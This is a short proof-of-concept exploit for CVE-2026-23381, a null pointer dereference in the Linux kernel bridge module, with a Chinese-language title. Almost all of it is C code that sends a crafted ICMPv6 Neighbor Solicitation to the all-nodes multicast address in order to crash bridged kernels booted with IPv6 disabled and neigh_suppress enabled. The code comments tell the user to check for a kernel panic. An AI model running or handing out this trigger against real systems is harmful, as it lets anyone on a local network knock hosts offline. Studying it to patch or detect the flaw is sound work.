CVE-2026-23381 Linux内核桥接模块空指针解引用漏洞

/* * PoC for CVE-2026-23381 * Trigger: Send ICMPv6 Neighbor Discovery packet to bridge interface. * Condition: Kernel booted with ipv6.disable=1 and neigh_suppress enabled. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/icmp6.h> #include <arpa/inet.h> int main(int argc, char *argv[]) { int sockfd; struct sockaddr_in6 src_addr, dst_addr; char packet[128]; struct nd_neighbor_solicit *ns; // Create raw socket sockfd = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6); if (sockfd < 0) { perror("socket"); exit(EXIT_FAILURE); } memset(&dst_addr, 0, sizeof(dst_addr)); dst_addr.sin6_family = AF_INET6; // Target the all-nodes multicast address or the bridge IP inet_pton(AF_INET6, "ff02::1", &dst_addr.sin6_addr); // Construct Neighbor Solicitation packet memset(packet, 0, sizeof(packet)); ns = (struct nd_neighbor_solicit *)packet; ns->nd_ns_hdr.icmp6_type = ND_NEIGHBOR_SOLICIT; ns->nd_ns_hdr.icmp6_code = 0; ns->nd_ns_hdr.icmp6_cksum = 0; // Kernel will calc // Set a target address (arbitrary link-local) inet_pton(AF_INET6, "fe80::1", &ns->nd_ns_target); printf("Sending ICMPv6 Neighbor Solicitation..."); if (sendto(sockfd, packet, sizeof(struct nd_neighbor_solicit), 0, (struct sockaddr *)&dst_addr, sizeof(dst_addr)) < 0) { perror("sendto"); } else { printf("Packet sent. Check for kernel panic/Oops.\n"); } close(sockfd); return 0; }